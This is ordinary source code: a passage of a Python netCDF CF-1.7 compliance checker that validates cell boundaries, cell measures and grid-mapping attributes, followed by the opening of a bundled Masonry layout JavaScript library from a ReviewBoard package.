"axis",
"positive",
"calendar",
"leap_month",
"leap_year",
"month_lengths",
}
if boundary_variable.__dict__.keys():
lst1 = boundary_variable.__dict__.keys()
lst2 = attributes_to_check
unwanted_attributes = [value for value in lst1 if value in lst2]
if unwanted_attributes:
valid = False
reasoning.append(
"The Boundary variables '{}' should not have the attributes: '{}'".format(
boundary_variable_name,
unwanted_attributes,
),
)
result = Result(
BaseCheck.MEDIUM,
valid,
self.section_titles["7.1"],
reasoning,
)
ret_val.append(result)
return ret_val
def check_cell_boundaries_interval(self, ds):
"""
7.1 Cell Boundaries
Recommendations: (1/2)
The points specified by a coordinate or auxiliary coordinate variable
should lie within, or on the boundary, of the cells specified by the
associated boundary variable.
"""
ret_val = []
reasoning = []
for variable_name, boundary_variable_name in cfutil.get_cell_boundary_map(
ds,
).items():
valid = True
variable = ds.variables[variable_name]
boundary_variable = ds.variables[boundary_variable_name]
for ii in range(len(variable[:])):
if abs(boundary_variable[ii][1]) >= abs(boundary_variable[ii][0]):
if not (
(abs(variable[ii]) >= abs(boundary_variable[ii][0]))
and (abs(variable[ii]) <= abs(boundary_variable[ii][1]))
):
valid = False
reasoning.append(
"The points specified by the coordinate variable {} ({})"
" lie outside the boundary of the cell specified by the "
"associated boundary variable {} ({})".format(
variable_name,
variable[ii],
boundary_variable_name,
boundary_variable[ii],
),
)
result = Result(
BaseCheck.MEDIUM,
valid,
self.section_titles["7.1"],
reasoning,
)
ret_val.append(result)
print(ret_val)
return ret_val
def check_cell_measures(self, ds):
"""
A method to over-ride the CF1_6Check method. In CF 1.7, it is specified
that variable referenced by cell_measures must be in the dataset OR
referenced by the global attribute "external_variables", which represent
all the variables used in the dataset but not found in the dataset.
7.2 To indicate extra information about the spatial properties of a
variable's grid cells, a cell_measures attribute may be defined for a
variable. This is a string attribute comprising a list of
blank-separated pairs of words of the form "measure: name". "area" and
"volume" are the only defined measures.
The "name" is the name of the variable containing the measure values,
which we refer to as a "measure variable". The dimensions of the
measure variable should be the same as or a subset of the dimensions of
the variable to which they are related, but their order is not
restricted.
The variable must have a units attribute and may have other attributes
such as a standard_name.
:param netCDF4.Dataset ds: An open netCDF dataset
:rtype: list
:return: List of results
"""
ret_val = []
variables = ds.get_variables_by_attributes(
cell_measures=lambda c: c is not None,
)
try:
external_variables_str = ds.getncattr("external_variables")
if external_variables_str is not None:
external_variables_names = set(external_variables_str.split(" "))
else:
external_variables_names = set()
except (ValueError, AttributeError):
external_variables_names = set()
for var in variables:
ret_val.append(
self._cell_measures_core(
ds,
var,
external_variables_names,
"dataset or external variable",
),
)
return ret_val
def _check_grid_mapping_attr_condition(self, attr, attr_name):
"""
Evaluate a condition (or series of conditions) for a particular
attribute. Implementation for CF-1.7.
:param attr: attribute to teset condition for
:param str attr_name: name of the attribute
:rtype tuple
:return two-tuple of (bool, str)
"""
if attr_name == "geographic_crs_name":
return self._evaluate_geographic_crs_name(attr)
elif attr_name == "geoid_name":
return self._evaluate_geoid_name(attr)
elif attr_name == "geopotential_datum_name":
return self._evaluate_geopotential_datum_name(attr)
elif attr_name == "horizontal_datum_name":
return self._evaluate_horizontal_datum_name(attr)
elif attr_name == "prime_meridian_name":
return self._evaluate_prime_meridian_name(attr)
elif attr_name == "projected_crs_name":
return self._evaluate_projected_crs_name(attr)
elif attr_name == "reference_ellipsoid_name":
return self._evaluate_reference_ellipsoid_name(attr)
elif attr_name == "towgs84":
return self._evaluate_towgs84(attr)
else: # invoke method from 1.6, as these names are all still valid
return super()._check_grid_mapping_attr_condition(
attr,
attr_name,
)
def _check_gmattr_existence_condition_geoid_name_geoptl_datum_name(self, var):
"""
Check to see if both geoid_name and geopotential_datum_name exist as attributes
for `var`. They should not.
:param netCDF4.Variable var
:rtype tuple
:return two-tuple (bool, str)
"""
msg = "Both geoid_name and geopotential_datum_name cannot exist"
if ("geoid_name" in var.ncattrs()) and (
"geopotential_datum_name" in var.ncattrs()
):
return (False, msg)
else:
return (True, msg)
def _check_gmattr_existence_condition_ell_pmerid_hdatum(self, var):
"""
If one of reference_ellipsoid_name, prime_meridian_name, or
horizontal_datum_name are defined as grid_mapping attributes,
they must all be defined.
:param netCDF4.Variable var
:rtype tuple
:return two-tuple (bool, str)
"""
msg = (
"If any of reference_ellipsoid_name, prime_meridian_name, "
"or horizontal_datum_name are defined, all must be defined."
)
_ncattrs = set(var.ncattrs())
if any(
x in _ncattrs
for x in [
"reference_ellipsoid_name",
"prime_meridian_name",
"horizontal_datum_name",
]
) and (
not {
"reference_ellipsoid_name",
"prime_meridian_name",
"horizontal_datum_name",
}.issubset(_ncattrs)
):
return (False, msg)
else:
return (True, msg)
def _get_projdb_conn(self):
"""
Return a SQLite Connection to the PROJ database.
Returns:
sqlite3.Connection
"""
proj_db_path = os.path.join(pyproj.datadir.get_data_dir(), "proj.db")
return sqlite3.connect(proj_db_path)
def _exec_query_str_with_params(self, qstr, argtuple):
"""
Execute a query string in a database connection with the given argument
tuple. Return a result set.
:param str qstr: desired query to be executed
:param tuple argtuple: tuple of arguments to be supplied to query
:rtype set
"""
conn = self._get_projdb_conn()
return conn.execute(qstr, argtuple)
def _evaluate_geographic_crs_name(self, val):
"""
Evaluate the condition for the geographic_crs_name attribute.
:param val: value to be tested
:rtype tuple
:return two-tuple of (bool, str)
"""
query_str = (
"SELECT 1 FROM geodetic_crs WHERE name = ? "
"UNION ALL " # need union in case contained in other tables
"SELECT 1 FROM alias_name WHERE alt_name = ? "
"AND table_name = 'geodetic_crs' LIMIT 1"
)
# try to find the value in the database
res_set = self._exec_query_str_with_params(query_str, (val, val))
# does it exist? if so, amt returned be > 1
return (
len(res_set.fetchall()) > 0,
"geographic_crs_name must correspond to a valid OGC WKT GEOGCS name",
)
def _evaluate_geoid_name(self, val):
"""
Evaluate the condition for the geod_name attribute.
:param val: value to be tested
:rtype tuple
:return two-tuple of (bool, str)
"""
query_str = (
"SELECT 1 FROM vertical_datum WHERE name = ? "
"UNION ALL "
"SELECT 1 FROM alias_name WHERE alt_name = ? "
"AND table_name = 'vertical_datum' LIMIT 1"
)
# try to find the value in the database
res_set = self._exec_query_str_with_params(query_str, (val, val))
return (
len(res_set.fetchall()) > 0,
"geoid_name must correspond to a valid OGC WKT VERT_DATUM name",
)
def _evaluate_geopotential_datum_name(self, val):
"""
Evaluate the condition for the geogpotential_datum_name attribute.
:param val: value to be tested
:rtype tuple
:return two-tuple of (bool, str)
"""
query_str = (
"SELECT 1 FROM vertical_datum WHERE name = ? "
"UNION ALL "
"SELECT 1 FROM alias_name WHERE alt_name = ? "
"AND table_name = 'vertical_datum' LIMIT 1"
)
# try to find the value in the database
res_set = self._exec_query_str_with_params(query_str, (val, val))
return (
len(res_set.fetchall()) > 0,
"geopotential_datum_name must correspond to a valid OGC WKT VERT_DATUM name",
)
def _evaluate_horizontal_datum_name(self, val):
"""
Evaluate the condition for the horizontal_datum_name attribute.
:param val: value to be tested
:rtype tuple
:return two-tuple of (bool, str)
"""
return (
val in horizontal_datum_names17,
(
"{} must be a valid Horizontal Datum Name; "
"see https://github.com/cf-convention/cf-conventions/wiki/Mapping-from-CF-Grid-Mapping-Attributes-to-CRS-WKT-Elements."
),
)
def _evaluate_prime_meridian_name(self, val):
"""
Evaluate the condition for the prime_meridian_name.
:param val: value to be tested
:rtype tuple
:return two-tuple of (bool, str)
"""
return (
val in prime_meridian_names17,
(
"{} must be a valid Prime Meridian name; "
"see https://github.com/cf-convention/cf-conventions/wiki/csv/prime_meridian.csv."
),
)
def _evaluate_projected_crs_name(self, val):
"""
Evaluate the condition for the projected_crs attribute.
:param val: value to be tested
:rtype tuple
:return two-tuple of (bool, str)
"""
query_str = (
"SELECT 1 FROM projected_crs WHERE name = ? "
"UNION ALL "
"SELECT 1 FROM alias_name WHERE alt_name = ? "
"AND table_name = 'projected_crs' LIMIT 1"
)
# try to find the value in the database
res_set = self._exec_query_str_with_params(query_str, (val, val))
return (
len(res_set.fetchall()) > 0,
"projected_crs_name must correspond to a valid OGC WKT PROJCS name",
)
def _evaluate_reference_ellipsoid_name(self, val):
"""
Evaluate the condition for the reference_ellipsoid_name attribute.
:param val: value to be tested
:rtype tuple
:return two-tuple of (bool, str)
"""
return (
val in ellipsoid_names17,
(
"{} must be a valid Ellipsoid Name; "
"see https://github.com/cf-convention/cf-conventions/wiki/csv/ellipsoid.csv."
),
)
def _evaluate_towgs84(self, val):
"""
Evaluate the condition for the towgs84 attribute.
:param val: value to be tested
:rtype tuple
:return two-tuple of (bool, str)
"""
msg = (
"towgs84 must be an array of length 3, 6, or 7 of double-precision"
" and correspond to anm OGC WKT TOWGS84 node"
)
# if not numpy type, return false
if not getattr(val, "dtype", None):
return (False, msg)
# must be double-precision array
elif val.dtype != np.float64:
return (False, msg)
# must be of length 3, 6, or 7
elif not val.shape: # single value
return (False, msg)
elif val.size not in (3, 6, 7):
return (False, msg)
else:
return (True, msg)
def check_grid_mapping(self, ds):
# FIXME: Looks like this is not needed.
# super().check_grid_mapping.__doc__
prev_return = super().check_grid_mapping(ds)
grid_mapping_variables = cfutil.get_grid_mapping_variables(ds)
for var_name in sorted(grid_mapping_variables):
var = ds.variables[var_name]
test_ctx = self.get_test_ctx(
BaseCheck.HIGH,
self.section_titles["5.6"],
var.name,
)
# TODO: check cases where crs_wkt provides part of a necessary
# grid_mapping attribute, or where a grid_mapping attribute
# overrides what has been provided in crs_wkt.
# attempt to parse crs_wkt if it is present
if "crs_wkt" in var.ncattrs():
crs_wkt = var.crs_wkt
if not isinstance(crs_wkt, str):
test_ctx.messages.append("crs_wkt attribute must be a string")
test_ctx.out_of += 1
else:
try:
pyproj.CRS.from_wkt(crs_wkt)
except pyproj.exceptions.CRSError as crs_error:
test_ctx.messages.append(
"Cannot parse crs_wkt attribute to CRS using Proj4. Proj4 error: {}".format(
str(crs_error),
),
)
else:
test_ctx.score += 1
test_ctx.out_of += 1
# existence_conditions
exist_cond_1 = (
self._check_gmattr_existence_condition_geoid_name_geoptl_datum_name(var)
)
test_ctx.assert_true(exist_cond_1[0], exist_cond_1[1])
exist_cond_2 = self._check_gmattr_existence_condition_ell_pmerid_hdatum(var)
test_ctx.assert_true(exist_cond_2[0], exist_cond_2[1])
# handle vertical datum related grid_mapping attributes
vert_datum_attrs = {}
possible_vert_datum_attrs = {"geoid_name", "geopotential_datum_name"}
vert_datum_attrs = possible_vert_datum_attrs.intersection(var.ncattrs())
len_vdatum_name_attrs = len(vert_datum_attrs)
# check that geoid_name and geopotential_datum_name are not both
# present in the grid_mapping variable
if len_vdatum_name_attrs == 2:
test_ctx.out_of += 1
test_ctx.messages.append(
"Cannot have both 'geoid_name' and "
"'geopotential_datum_name' attributes in "
"grid mapping variable '{}'".format(var.name),
)
elif len_vdatum_name_attrs == 1:
# should be one or zero attrs
proj_db_path = os.path.join(pyproj.datadir.get_data_dir(), "proj.db")
try:
with sqlite3.connect(proj_db_path) as conn:
v_datum_attr = next(iter(vert_datum_attrs))
v_datum_value = getattr(var, v_datum_attr)
v_datum_str_valid = self._process_v_datum_str(
v_datum_value,
conn,
)
invalid_msg = (
"Vertical datum value '{}' for "
"attribute '{}' in grid mapping "
"variable '{}' is not valid".format(
v_datum_value,
v_datum_attr,
var.name,
)
)
test_ctx.assert_true(v_datum_str_valid, invalid_msg)
except sqlite3.Error as e:
# if we hit an error, skip the check
warn(
"Error occurred while trying to query "
"Proj4 SQLite database at {}: {}".format(proj_db_path, str(e)),
stacklevel=2,
)
prev_return[var.name] = test_ctx.to_result()
return prev_return
def check_standard_name_deprecated_modifiers(self, ds):
"""
Not a standard check in that it won't raise pass/fail values,
but instead warns upon finding deprecated CF standard name modifiers.
:param netCDF4.Dataset ds: netCDF dataset
"""
deprecated_var_names = cfutil._find_standard_name_modifier_variables(ds, True)
if deprecated_var_names:
warn(
f"Deprecated standard_name modifiers found on variables {deprecated_var_names}",
stacklevel=2,
)
def _process_v_datum_str(self, v_datum_str, conn):
vdatum_query = """SELECT 1 FROM alias_name WHERE
table_name = 'vertical_datum' AND
alt_name = ?
UNION ALL
SELECT 1 FROM vertical_datum WHERE
name = ?
LIMIT 1"""
res_set = conn.execute(vdatum_query, (v_datum_str, v_datum_str))
return len(res_set.fetchall()) > 0
def _check_dimensionless_vertical_coordinate_1_7(
self,
ds,
vname,
deprecated_units,
ret_val,
dim_vert_coords_dict,
):
"""
Check that a dimensionless vertical coordinate variable is valid under
CF-1.7.
:param netCDF4.Dataset ds: open netCDF4 dataset
:param str name: variable name
:param list ret_val: array to append Results to
:rtype None
"""
variable = ds.variables[vname]
standard_name = getattr(variable, "standard_name", None)
formula_terms = getattr(variable, "formula_terms", None)
# Skip the variable if it's dimensional
correct_computed_std_name_ctx = TestCtx(
BaseCheck.MEDIUM,
self.section_titles["4.3"],
)
# IMPLEMENTATION CONFORMANCE 4.3.3 REQUIRED
correct_computed_std_name_ctx.assert_true(
not (formula_terms is None and hasattr(variable, "computed_standard_name")),
f"Variable {vname} should have formula_terms attribute when "
"computed_standard_name attribute is defined",
)
if formula_terms is None and standard_name not in dim_vert_coords_dict:
return
# assert that the computed_standard_name is maps to the standard_name correctly
_comp_std_name = dim_vert_coords_dict[standard_name][1]
correct_computed_std_name_ctx.assert_true(
getattr(variable, "computed_standard_name", None) in _comp_std_name,
"§4.3.3 The standard_name of `{}` must map to the correct computed_standard_name, `{}`".format(
vname,
sorted(_comp_std_name),
),
)
ret_val.append(correct_computed_std_name_ctx.to_result())
def check_dimensionless_vertical_coordinates(self, ds):
"""
Check the validity of dimensionless coordinates under CF
CF §4.3.2 The units attribute is not required for dimensionless
coordinates.
The standard_name attribute associates a coordinate with its definition
from Appendix D, Dimensionless Vertical Coordinates. The definition
provides a mapping between the dimensionless coordinate values and
dimensional values that can positively and uniquely indicate the
location of the data.
A new attribute, formula_terms, is used to associate terms in the
definitions with variables in a netCDF file. To maintain backwards
compatibility with COARDS the use of these attributes is not required,
but is strongly recommended.
:param netCDF4.Dataset ds: An open netCDF dataset
:rtype: list
:return: List of results
"""
ret_val = []
deprecated_units = ["level", "layer", "sigma_level"]
# compose this function to use the results from the CF-1.6 check
# and then extend it using a CF-1.7 addition
ret_val.extend(
self._check_dimensionless_vertical_coordinates(
ds,
deprecated_units,
self._check_dimensionless_vertical_coordinate_1_6,
dimless_vertical_coordinates_1_7,
),
)
ret_val.extend(
self._check_dimensionless_vertical_coordinates(
ds,
deprecated_units,
self._check_dimensionless_vertical_coordinate_1_7,
dimless_vertical_coordinates_1_7,
),
)
return ret_val
|
PypiClean
|
/ReviewBoard-5.0.5-py3-none-any.whl/reviewboard/htdocs/static/lib/js/masonry-4.2.2.js
|
* Bridget makes jQuery widgets
* v2.0.1
* MIT license
*/
/* jshint browser: true, strict: true, undef: true, unused: true */
( function( window, factory ) {
// universal module definition
/*jshint strict: false */ /* globals define, module, require */
if ( typeof define == 'function' && define.amd ) {
// AMD
define( 'jquery-bridget/jquery-bridget',[ 'jquery' ], function( jQuery ) {
return factory( window, jQuery );
});
} else if ( typeof module == 'object' && module.exports ) {
// CommonJS
module.exports = factory(
window,
require('jquery')
);
} else {
// browser global
window.jQueryBridget = factory(
window,
window.jQuery
);
}
}( window, function factory( window, jQuery ) {
'use strict';
// ----- utils ----- //
var arraySlice = Array.prototype.slice;
// helper function for logging errors
// $.error breaks jQuery chaining
var console = window.console;
var logError = typeof console == 'undefined' ? function() {} :
function( message ) {
console.error( message );
};
// ----- jQueryBridget ----- //
function jQueryBridget( namespace, PluginClass, $ ) {
$ = $ || jQuery || window.jQuery;
if ( !$ ) {
return;
}
// add option method -> $().plugin('option', {...})
if ( !PluginClass.prototype.option ) {
// option setter
PluginClass.prototype.option = function( opts ) {
// bail out if not an object
if ( !$.isPlainObject( opts ) ){
return;
}
this.options = $.extend( true, this.options, opts );
};
}
// make jQuery plugin
$.fn[ namespace ] = function( arg0 /*, arg1 */ ) {
if ( typeof arg0 == 'string' ) {
// method call $().plugin( 'methodName', { options } )
// shift arguments by 1
var args = arraySlice.call( arguments, 1 );
return methodCall( this, arg0, args );
}
// just $().plugin({ options })
plainCall( this, arg0 );
return this;
};
// $().plugin('methodName')
function methodCall( $elems, methodName, args ) {
var returnValue;
var pluginMethodStr = '$().' + namespace + '("' + methodName + '")';
$elems.each( function( i, elem ) {
// get instance
var instance = $.data( elem, namespace );
if ( !instance ) {
logError( namespace + ' not initialized. Cannot call methods, i.e. ' +
pluginMethodStr );
return;
}
var method = instance[ methodName ];
if ( !method || methodName.charAt(0) == '_' ) {
logError( pluginMethodStr + ' is not a valid method' );
return;
}
// apply method, get return value
var value = method.apply( instance, args );
// set return value if value is returned, use only first value
returnValue = returnValue === undefined ? value : returnValue;
});
return returnValue !== undefined ? returnValue : $elems;
}
function plainCall( $elems, options ) {
$elems.each( function( i, elem ) {
var instance = $.data( elem, namespace );
if ( instance ) {
// set options & init
instance.option( options );
instance._init();
} else {
// initialize new instance
instance = new PluginClass( elem, options );
$.data( elem, namespace, instance );
}
});
}
updateJQuery( $ );
}
// ----- updateJQuery ----- //
// set $.bridget for v1 backwards compatibility
function updateJQuery( $ ) {
if ( !$ || ( $ && $.bridget ) ) {
return;
}
$.bridget = jQueryBridget;
}
updateJQuery( jQuery || window.jQuery );
// ----- ----- //
return jQueryBridget;
}));
/**
* EvEmitter v1.1.0
* Lil' event emitter
* MIT License
*/
/* jshint unused: true, undef: true, strict: true */
( function( global, factory ) {
// universal module definition
/* jshint strict: false */ /* globals define, module, window */
if ( typeof define == 'function' && define.amd ) {
// AMD - RequireJS
define( 'ev-emitter/ev-emitter',factory );
} else if ( typeof module == 'object' && module.exports ) {
// CommonJS - Browserify, Webpack
module.exports = factory();
} else {
// Browser globals
global.EvEmitter = factory();
}
}( typeof window != 'undefined' ? window : this, function() {
function EvEmitter() {}
var proto = EvEmitter.prototype;
proto.on = function( eventName, listener ) {
if ( !eventName || !listener ) {
return;
}
// set events hash
var events = this._events = this._events || {};
// set listeners array
var listeners = events[ eventName ] = events[ eventName ] || [];
// only add once
if ( listeners.indexOf( listener ) == -1 ) {
listeners.push( listener );
}
return this;
};
proto.once = function( eventName, listener ) {
if ( !eventName || !listener ) {
return;
}
// add event
this.on( eventName, listener );
// set once flag
// set onceEvents hash
var onceEvents = this._onceEvents = this._onceEvents || {};
// set onceListeners object
var onceListeners = onceEvents[ eventName ] = onceEvents[ eventName ] || {};
// set flag
onceListeners[ listener ] = true;
return this;
};
proto.off = function( eventName, listener ) {
var listeners = this._events && this._events[ eventName ];
if ( !listeners || !listeners.length ) {
return;
}
var index = listeners.indexOf( listener );
if ( index != -1 ) {
listeners.splice( index, 1 );
}
return this;
};
proto.emitEvent = function( eventName, args ) {
var listeners = this._events && this._events[ eventName ];
if ( !listeners || !listeners.length ) {
return;
}
// copy over to avoid interference if .off() in listener
listeners = listeners.slice(0);
args = args || [];
// once stuff
var onceListeners = this._onceEvents && this._onceEvents[ eventName ];
for ( var i=0; i < listeners.length; i++ ) {
var listener = listeners[i]
var isOnce = onceListeners && onceListeners[ listener ];
if ( isOnce ) {
// remove listener
// remove before trigger to prevent recursion
this.off( eventName, listener );
// unset once flag
delete onceListeners[ listener ];
}
// trigger listener
listener.apply( this, args );
}
return this;
};
proto.allOff = function() {
delete this._events;
delete this._onceEvents;
};
return EvEmitter;
}));
/*!
* getSize v2.0.3
* measure size of elements
* MIT license
*/
/* jshint browser: true, strict: true, undef: true, unused: true */
/* globals console: false */
( function( window, factory ) {
/* jshint strict: false */ /* globals define, module */
if ( typeof define == 'function' && define.amd ) {
// AMD
define( 'get-size/get-size',factory );
} else if ( typeof module == 'object' && module.exports ) {
// CommonJS
module.exports = factory();
} else {
// browser global
window.getSize = factory();
}
})( window, function factory() {
'use strict';
// -------------------------- helpers -------------------------- //
// get a number from a string, not a percentage
function getStyleSize( value ) {
var num = parseFloat( value );
// not a percent like '100%', and a number
var isValid = value.indexOf('%') == -1 && !isNaN( num );
return isValid && num;
}
function noop() {}
var logError = typeof console == 'undefined' ? noop :
function( message ) {
console.error( message );
};
// -------------------------- measurements -------------------------- //
var measurements = [
'paddingLeft',
'paddingRight',
'paddingTop',
'paddingBottom',
'marginLeft',
'marginRight',
'marginTop',
'marginBottom',
'borderLeftWidth',
'borderRightWidth',
'borderTopWidth',
'borderBottomWidth'
];
var measurementsLength = measurements.length;
function getZeroSize() {
var size = {
width: 0,
height: 0,
innerWidth: 0,
innerHeight: 0,
outerWidth: 0,
outerHeight: 0
};
for ( var i=0; i < measurementsLength; i++ ) {
var measurement = measurements[i];
size[ measurement ] = 0;
}
return size;
}
// -------------------------- getStyle -------------------------- //
/**
* getStyle, get style of element, check for Firefox bug
* https://bugzilla.mozilla.org/show_bug.cgi?id=548397
*/
function getStyle( elem ) {
var style = getComputedStyle( elem );
if ( !style ) {
logError( 'Style returned ' + style +
'. Are you running this code in a hidden iframe on Firefox? ' +
'See https://bit.ly/getsizebug1' );
}
return style;
}
// -------------------------- setup -------------------------- //
var isSetup = false;
var isBoxSizeOuter;
/**
* setup
* check isBoxSizerOuter
* do on first getSize() rather than on page load for Firefox bug
*/
function setup() {
// setup once
if ( isSetup ) {
return;
}
isSetup = true;
// -------------------------- box sizing -------------------------- //
/**
* Chrome & Safari measure the outer-width on style.width on border-box elems
* IE11 & Firefox<29 measures the inner-width
*/
var div = document.createElement('div');
div.style.width = '200px';
div.style.padding = '1px 2px 3px 4px';
div.style.borderStyle = 'solid';
div.style.borderWidth = '1px 2px 3px 4px';
div.style.boxSizing = 'border-box';
var body = document.body || document.documentElement;
body.appendChild( div );
var style = getStyle( div );
// round value for browser zoom. desandro/masonry#928
isBoxSizeOuter = Math.round( getStyleSize( style.width ) ) == 200;
getSize.isBoxSizeOuter = isBoxSizeOuter;
body.removeChild( div );
}
// -------------------------- getSize -------------------------- //
function getSize( elem ) {
setup();
// use querySeletor if elem is string
if ( typeof elem == 'string' ) {
elem = document.querySelector( elem );
}
// do not proceed on non-objects
if ( !elem || typeof elem != 'object' || !elem.nodeType ) {
return;
}
var style = getStyle( elem );
// if hidden, everything is 0
if ( style.display == 'none' ) {
return getZeroSize();
}
var size = {};
size.width = elem.offsetWidth;
size.height = elem.offsetHeight;
var isBorderBox = size.isBorderBox = style.boxSizing == 'border-box';
// get all measurements
for ( var i=0; i < measurementsLength; i++ ) {
var measurement = measurements[i];
var value = style[ measurement ];
var num = parseFloat( value );
// any 'auto', 'medium' value will be 0
size[ measurement ] = !isNaN( num ) ? num : 0;
}
var paddingWidth = size.paddingLeft + size.paddingRight;
var paddingHeight = size.paddingTop + size.paddingBottom;
var marginWidth = size.marginLeft + size.marginRight;
var marginHeight = size.marginTop + size.marginBottom;
var borderWidth = size.borderLeftWidth + size.borderRightWidth;
var borderHeight = size.borderTopWidth + size.borderBottomWidth;
var isBorderBoxSizeOuter = isBorderBox && isBoxSizeOuter;
// overwrite width and height if we can get it from style
var styleWidth = getStyleSize( style.width );
if ( styleWidth !== false ) {
size.width = styleWidth +
// add padding and border unless it's already including it
( isBorderBoxSizeOuter ? 0 : paddingWidth + borderWidth );
}
var styleHeight = getStyleSize( style.height );
if ( styleHeight !== false ) {
size.height = styleHeight +
// add padding and border unless it's already including it
( isBorderBoxSizeOuter ? 0 : paddingHeight + borderHeight );
}
size.innerWidth = size.width - ( paddingWidth + borderWidth );
size.innerHeight = size.height - ( paddingHeight + borderHeight );
size.outerWidth = size.width + marginWidth;
size.outerHeight = size.height + marginHeight;
return size;
}
return getSize;
});
/**
* matchesSelector v2.0.2
* matchesSelector( element, '.selector' )
* MIT license
*/
/*jshint browser: true, strict: true, undef: true, unused: true */
( function( window, factory ) {
/*global define: false, module: false */
'use strict';
// universal module definition
if ( typeof define == 'function' && define.amd ) {
// AMD
define( 'desandro-matches-selector/matches-selector',factory );
} else if ( typeof module == 'object' && module.exports ) {
// CommonJS
module.exports = factory();
} else {
// browser global
window.matchesSelector = factory();
}
}( window, function factory() {
'use strict';
var matchesMethod = ( function() {
var ElemProto = window.Element.prototype;
// check for the standard method name first
if ( ElemProto.matches ) {
return 'matches';
}
// check un-prefixed
if ( ElemProto.matchesSelector ) {
return 'matchesSelector';
}
// check vendor prefixes
var prefixes = [ 'webkit', 'moz', 'ms', 'o' ];
for ( var i=0; i < prefixes.length; i++ ) {
var prefix = prefixes[i];
var method = prefix + 'MatchesSelector';
if ( ElemProto[ method ] ) {
return method;
}
}
})();
return function matchesSelector( elem, selector ) {
return elem[ matchesMethod ]( selector );
};
}));
/**
* Fizzy UI utils v2.0.7
* MIT license
*/
/*jshint browser: true, undef: true, unused: true, strict: true */
( function( window, factory ) {
// universal module definition
/*jshint strict: false */ /*globals define, module, require */
if ( typeof define == 'function' && define.amd ) {
// AMD
define( 'fizzy-ui-utils/utils',[
'desandro-matches-selector/matches-selector'
], function( matchesSelector ) {
return factory( window, matchesSelector );
});
} else if ( typeof module == 'object' && module.exports ) {
// CommonJS
module.exports = factory(
window,
require('desandro-matches-selector')
);
} else {
// browser global
window.fizzyUIUtils = factory(
window,
window.matchesSelector
);
}
}( window, function factory( window, matchesSelector ) {
var utils = {};
// ----- extend ----- //
// extends objects
utils.extend = function( a, b ) {
for ( var prop in b ) {
a[ prop ] = b[ prop ];
}
return a;
};
// ----- modulo ----- //
utils.modulo = function( num, div ) {
return ( ( num % div ) + div ) % div;
};
// ----- makeArray ----- //
var arraySlice = Array.prototype.slice;
// turn element or nodeList into an array
utils.makeArray = function( obj ) {
if ( Array.isArray( obj ) ) {
// use object if already an array
return obj;
}
// return empty array if undefined or null. #6
if ( obj === null || obj === undefined ) {
return [];
}
var isArrayLike = typeof obj == 'object' && typeof obj.length == 'number';
if ( isArrayLike ) {
// convert nodeList to array
return arraySlice.call( obj );
}
// array of single index
return [ obj ];
};
// ----- removeFrom ----- //
utils.removeFrom = function( ary, obj ) {
var index = ary.indexOf( obj );
if ( index != -1 ) {
ary.splice( index, 1 );
}
};
// ----- getParent ----- //
utils.getParent = function( elem, selector ) {
while ( elem.parentNode && elem != document.body ) {
elem = elem.parentNode;
if ( matchesSelector( elem, selector ) ) {
return elem;
}
}
};
// ----- getQueryElement ----- //
// use element as selector string
utils.getQueryElement = function( elem ) {
if ( typeof elem == 'string' ) {
return document.querySelector( elem );
}
return elem;
};
// ----- handleEvent ----- //
// enable .ontype to trigger from .addEventListener( elem, 'type' )
utils.handleEvent = function( event ) {
var method = 'on' + event.type;
if ( this[ method ] ) {
this[ method ]( event );
}
};
// ----- filterFindElements ----- //
utils.filterFindElements = function( elems, selector ) {
// make array of elems
elems = utils.makeArray( elems );
var ffElems = [];
elems.forEach( function( elem ) {
// check that elem is an actual element
if ( !( elem instanceof HTMLElement ) ) {
return;
}
// add elem if no selector
if ( !selector ) {
ffElems.push( elem );
return;
}
// filter & find items if we have a selector
// filter
if ( matchesSelector( elem, selector ) ) {
ffElems.push( elem );
}
// find children
var childElems = elem.querySelectorAll( selector );
// concat childElems to filterFound array
for ( var i=0; i < childElems.length; i++ ) {
ffElems.push( childElems[i] );
}
});
return ffElems;
};
// ----- debounceMethod ----- //
utils.debounceMethod = function( _class, methodName, threshold ) {
threshold = threshold || 100;
// original method
var method = _class.prototype[ methodName ];
var timeoutName = methodName + 'Timeout';
_class.prototype[ methodName ] = function() {
var timeout = this[ timeoutName ];
clearTimeout( timeout );
var args = arguments;
var _this = this;
this[ timeoutName ] = setTimeout( function() {
method.apply( _this, args );
delete _this[ timeoutName ];
}, threshold );
};
};
// ----- docReady ----- //
utils.docReady = function( callback ) {
var readyState = document.readyState;
if ( readyState == 'complete' || readyState == 'interactive' ) {
// do async to allow for other scripts to run. metafizzy/flickity#441
setTimeout( callback );
} else {
document.addEventListener( 'DOMContentLoaded', callback );
}
};
// ----- htmlInit ----- //
// http://jamesroberts.name/blog/2010/02/22/string-functions-for-javascript-trim-to-camel-case-to-dashed-and-to-underscore/
utils.toDashed = function( str ) {
return str.replace( /(.)([A-Z])/g, function( match, $1, $2 ) {
return $1 + '-' + $2;
}).toLowerCase();
};
var console = window.console;
/**
* allow user to initialize classes via [data-namespace] or .js-namespace class
* htmlInit( Widget, 'widgetName' )
* options are parsed from data-namespace-options
*/
utils.htmlInit = function( WidgetClass, namespace ) {
utils.docReady( function() {
var dashedNamespace = utils.toDashed( namespace );
var dataAttr = 'data-' + dashedNamespace;
var dataAttrElems = document.querySelectorAll( '[' + dataAttr + ']' );
var jsDashElems = document.querySelectorAll( '.js-' + dashedNamespace );
var elems = utils.makeArray( dataAttrElems )
.concat( utils.makeArray( jsDashElems ) );
var dataOptionsAttr = dataAttr + '-options';
var jQuery = window.jQuery;
elems.forEach( function( elem ) {
var attr = elem.getAttribute( dataAttr ) ||
elem.getAttribute( dataOptionsAttr );
var options;
try {
options = attr && JSON.parse( attr );
} catch ( error ) {
// log error, do not initialize
if ( console ) {
console.error( 'Error parsing ' + dataAttr + ' on ' + elem.className +
': ' + error );
}
return;
}
// initialize
var instance = new WidgetClass( elem, options );
// make available via $().data('namespace')
if ( jQuery ) {
jQuery.data( elem, namespace, instance );
}
});
});
};
// ----- ----- //
return utils;
}));
/**
* Outlayer Item
*/
( function( window, factory ) {
// universal module definition
/* jshint strict: false */ /* globals define, module, require */
if ( typeof define == 'function' && define.amd ) {
// AMD - RequireJS
define( 'outlayer/item',[
'ev-emitter/ev-emitter',
'get-size/get-size'
],
factory
);
} else if ( typeof module == 'object' && module.exports ) {
// CommonJS - Browserify, Webpack
module.exports = factory(
require('ev-emitter'),
require('get-size')
);
} else {
// browser global
window.Outlayer = {};
window.Outlayer.Item = factory(
window.EvEmitter,
window.getSize
);
}
}( window, function factory( EvEmitter, getSize ) {
'use strict';
// ----- helpers ----- //
function isEmptyObj( obj ) {
